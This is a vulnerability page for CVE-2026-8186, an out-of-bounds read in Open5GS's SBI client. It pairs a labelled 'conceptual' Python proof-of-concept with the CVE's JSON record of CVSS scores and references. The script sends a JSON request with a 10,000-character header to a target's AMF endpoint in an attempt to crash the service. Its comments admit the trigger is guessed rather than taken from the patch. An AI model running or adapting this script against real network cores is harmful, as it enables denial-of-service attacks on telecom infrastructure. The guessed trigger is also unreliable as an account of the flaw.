CVE-2026-8186

# PoC for CVE-2026-8186 (Conceptual) # This script attempts to trigger the out-of-bounds read in Open5GS # by sending a specially crafted request to the SBI interface. import requests import sys def trigger_vulnerability(target_ip, target_port=7777): url = f"http://{target_ip}:{target_port}/namf-comm/v1/ue-contexts" # Constructing a malformed payload that might trigger the OOB read # Specific boundary details depend on the commit diff, but large headers # or malformed JSON structures are common triggers. headers = { "User-Agent": "CVE-2026-8186-Test", "Content-Type": "application/json", "X-Malicious-Header": "A" * 10000 # Potential trigger for buffer handling issue } payload = { "supi": "imsi-999990000000001", "plmnId": { "mcc": "999", "mnc": "99" } } try: print(f"[*] Sending payload to {url}...") response = requests.post(url, json=payload, headers=headers, timeout=5) print(f"[+] Response Status: {response.status_code}") print("[!] If the service crashes or hangs, the vulnerability might be triggered.") except Exception as e: print(f"[!] Exception occurred: {e}") print("[!] Service might have crashed (Denial of Service).") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python poc.py <target_ip>") else: trigger_vulnerability(sys.argv[1])

{"cve": {"id": "CVE-2026-8186", "sourceIdentifier": "[email protected]", "published": "2026-05-09T12:16:08.760", "lastModified": "2026-05-11T16:17:39.723", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was detected in Open5GS up to 2.7.7. This affects the function ogs_sbi_client_send_via_scp_or_sepp in the library lib/sbi/client.c of the component NF. Performing a manipulation results in out-of-bounds read. The attack is possible to be carried out remotely. The patch is named d5bc487fcf9ea87d2b03f2ef95123af344773bfb. It is suggested to install a patch to address this issue."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "baseScore": 5.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 10.0, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-125"}]}], "references": [{"url": "https://github.com/open5gs/open5gs/", "source": "[email protected]"}, {"url": "https://github.com/open5gs/open5gs/commit/d5bc487fcf9ea87d2b03f2ef95123af344773bfb", "source": "[email protected]"}, {"url": "https://github.com/open5gs/open5gs/issues/4491", "source": "[email protected]"}, {"url": "https://github.com/open5gs/open5gs/pull/4496", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/800024", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/362338", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/362338/cti", "source": "[email protected]"}, {"url": "https://github.com/open5gs/open5gs/issues/4491", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}